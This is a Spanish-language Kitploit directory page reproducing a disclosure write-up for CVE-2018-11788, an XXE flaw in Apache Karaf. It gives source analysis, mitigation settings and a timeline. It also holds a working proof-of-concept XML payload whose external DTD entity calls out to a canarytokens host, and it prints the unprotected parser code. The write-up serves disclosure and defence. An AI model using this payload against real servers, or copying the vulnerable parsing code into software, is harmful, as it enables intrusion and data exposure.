Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2018-11788 — Vulnerabilidad XXE en Apache Karaf (CVE-2018-11788) | Kitploit
Herramientas/GitHubGitHub/brianwrf/cve-2018-11788
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónAprendizaje y Educación
GitHubbrianwrf/cve-2018-11788

CVE-2018-11788

Vulnerabilidad XXE en Apache Karaf (CVE-2018-11788)

Ver Repositorio
376hace 7 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Resumen

Apache Karaf es un contenedor de aplicaciones moderno y polimórfico. Es un contenedor ligero, potente y listo para empresas, basado en OSGi. Apache Karaf es un "proyecto de producto" que proporciona un runtime completo y llave en mano. El runtime es "multifacético", lo que significa que puedes desplegar diferentes tipos de aplicaciones: OSGi o no OSGi, aplicaciones web, basadas en servicios, etc.

En una investigación reciente sobre Apache Karaf, encontré algunas vulnerabilidades de XXE (inyección de entidades externas XML) en sus analizadores XML. Esto se debe a que los analizadores analizan incorrectamente el documento XML.

Versión afectada

  • Apache Karaf <= 4.2.1
  • Apache Karaf <= 4.1.6

Análisis

Según el manual oficial, Apache Karaf proporciona un features deployer por defecto, que permite a los usuarios "desplegar en caliente" un XML de features colocando el archivo directamente en la carpeta deploy.

Cuando colocas un XML de features en la carpeta deploy, el features deployer hace lo siguiente:

  • registra el XML de features como un repositorio de features
  • las features con el atributo install establecido en "auto" serán instaladas automáticamente por el features deployer.

Por ejemplo, colocar el siguiente XML en la carpeta deploy instalará automáticamente feature1 y feature2, mientras que feature3 no se instalará:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">

    <feature name="feature1" version="1.0" install="auto">
        ...
    </feature>

    <feature name="feature2" version="1.0" install="auto">
        ...
    </feature>

    <feature name="feature3" version="1.0">
        ...
    </feature>

</features>

Para aprender cómo el deployer maneja el archivo XML, revisé los códigos fuente de Karaf en Github y encontré las invocaciones como sigue:

  • la clase Activator invoca la función doStart() para iniciar un listener para el deployer
  • la función doStart() invoca FeatureDeploymentListener.init() para inicializar un listener
  • luego llama a la función bundleChanged - canHandle - getRootElementName para analizar el documento XML utilizando XMLInputFactory

Pero al investigar más a fondo la función getRootElementName que se muestra a continuación, no hay ninguna prevención contra XXE.

root@kitploit:~
private QName getRootElementName(File artifact) throws Exception {
    if (xif == null) {
        xif = XMLInputFactory.newFactory();
        xif.setProperty(XMLInputFactory.IS_NAMESPACE_AWARE, true);
    }
    try (InputStream is = new FileInputStream(artifact)) {
        XMLStreamReader sr = xif.createXMLStreamReader(is);
        sr.nextTag();
        return sr.getName();
    }
}

Por lo tanto, asumí que representaba un riesgo potencial de seguridad para Apache Karaf.

Prueba de concepto

Para verificar mi suposición, probé en la última versión oficial de Apache Karaf 4.2.0 que se descargó de https://karaf.apache.org/download.html de la siguiente manera.

  1. Descargue la distribución binaria de Apache Karaf 4.2.0
  2. Descomprima el paquete y ubique la carpeta bin para iniciar la consola de comandos de Karaf como se muestra a continuación
root@kitploit:~
  bin$ ./karaf
          __ __                  ____      
         / //_/____ __________ _/ __/      
        / ,<  / __ `/ ___/ __ `/ /_        
       / /| |/ /_/ / /  / /_/ / __/        
      /_/ |_|\__,_/_/   \__,_/_/         

    Apache Karaf (4.2.0)

  Hit '<tab>' for a list of available commands
  and '[cmd] --help' for help on a specific command.
  Hit '<ctrl-d>' or type 'system:shutdown' or 'logout' to shutdown Karaf.

  karaf@root()>
  1. Genere un token DNS en https://canarytokens.org/generate , p. ej. 27av6zyg33g8q8xu338uvhnsc.canarytokens.com
  2. Cree un archivo XML y agregue una entidad externa con el token DNS generado incrustado en las DTDs como se muestra a continuación:
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
    <feature name="deployer" version="2.0" install="auto">
    </feature>
</features>
  1. Copie el archivo XML creado en la carpeta deploy
root@kitploit:~
apache-karaf-4.2.0$ cd deploy/
deploy$ tree
.
├── README
└── poc.xml
  1. Espere un momento y luego verá las solicitudes DNS desde su máquina de prueba, lo que significa que el analizador XML intenta cargar entidades externas incrustadas en las DTDs

Mitigación

Siga la guía de OWASP a continuación que proporciona información concisa para prevenir esta vulnerabilidad. https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java

Por ejemplo, agregue los siguientes códigos para deshabilitar DTDs y entidades externas en la función getRootElementName.

root@kitploit:~
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false); // disable external entities

Información adicional

Además del hallazgo mencionado anteriormente, también encontré que otra clase XmlUtils en el proyecto Apache Karaf no agrega ninguna protección contra la vulnerabilidad XXE al analizar documentos XML.

root@kitploit:~
package org.apache.karaf.util;

import java.io.File;
import java.io.IOException;
import java.io.InputStream;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.transform.Result;
import javax.xml.transform.Source;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;

import org.w3c.dom.Document;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;

/**
 * Utils class to manipulate XML document in a thread safe way.
 */
public class XmlUtils {

    private static final ThreadLocal<DocumentBuilderFactory> DOCUMENT_BUILDER_FACTORY = new ThreadLocal<>();
    private static final ThreadLocal<TransformerFactory> TRANSFORMER_FACTORY = new ThreadLocal<>();
    private static final ThreadLocal<SAXParserFactory> SAX_PARSER_FACTORY = new ThreadLocal<>();

    public static Document parse(String uri) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        try {
            return db.parse(uri);
        } finally {
            db.reset();
        }
    }

    public static Document parse(InputStream stream) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        try {
            return db.parse(stream);
        } finally {
            db.reset();
        }
    }

    public static Document parse(File f) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        try {
            return db.parse(f);
        } finally {
            db.reset();
        }
    }

    public static Document parse(File f, ErrorHandler errorHandler) throws TransformerException, IOException, SAXException, ParserConfigurationException {
        DocumentBuilder db = documentBuilder();
        db.setErrorHandler(errorHandler);
        try {
            return db.parse(f);
        } finally {
            db.reset();
        }
    }

    public static void transform(Source xmlSource, Result outputTarget) throws TransformerException {
        Transformer t = transformer();
        try {
            t.transform(xmlSource, outputTarget);
        } finally {
            t.reset();
        }
    }

    public static void transform(Source xsltSource, Source xmlSource, Result outputTarget) throws TransformerException {
        Transformer t = transformer(xsltSource);
        try {
            t.transform(xmlSource, outputTarget);
        } finally {
            t.reset();
        }
    }

    public static XMLReader xmlReader() throws ParserConfigurationException, SAXException {
        SAXParserFactory spf = SAX_PARSER_FACTORY.get();
        if (spf == null) {
            spf = SAXParserFactory.newInstance();
            spf.setNamespaceAware(true);
            SAX_PARSER_FACTORY.set(spf);
        }
        return spf.newSAXParser().getXMLReader();
    }

    public static DocumentBuilder documentBuilder() throws ParserConfigurationException {
        DocumentBuilderFactory dbf = DOCUMENT_BUILDER_FACTORY.get();
        if (dbf == null) {
            dbf = DocumentBuilderFactory.newInstance();
            dbf.setNamespaceAware(true);
            DOCUMENT_BUILDER_FACTORY.set(dbf);
        }
        return dbf.newDocumentBuilder();
    }

    public static Transformer transformer() throws TransformerConfigurationException {
        TransformerFactory tf = TRANSFORMER_FACTORY.get();
        if (tf == null) {
            tf = TransformerFactory.newInstance();
            TRANSFORMER_FACTORY.set(tf);
        }
        return tf.newTransformer();
    }

    private static Transformer transformer(Source xsltSource) throws TransformerConfigurationException {
        TransformerFactory tf = TRANSFORMER_FACTORY.get();
        if (tf == null) {
            tf = TransformerFactory.newInstance();
            TRANSFORMER_FACTORY.set(tf);
        }
        return tf.newTransformer(xsltSource);
    }

}

Cronología

  • 2018-08-22: Reporté este problema al equipo de seguridad de Apache.
  • 2018-09-26: El equipo de Apache Karaf confirmó y corrigió el problema en KARAF-5911.
  • 2018-11-30: Apache Karaf 4.1.7 fue lanzado con la corrección.
  • 2018-12-18: Apache Karaf 4.2.2 fue lanzado con la corrección.
  • 2019-01-06: Apache Karaf anunció CVE-2018-11788 para este problema.

Referencia

  • https://karaf.apache.org/security/cve-2018-11788.txt
  • https://issues.apache.org/jira/browse/KARAF-5911
  • https://gitbox.apache.org/repos/asf?p=karaf.git;h=cc3332e
  • https://gitbox.apache.org/repos/asf?p=karaf.git;h=1ffa6d1
  • http://avfisher.win/archives/1052
Descargar herramienta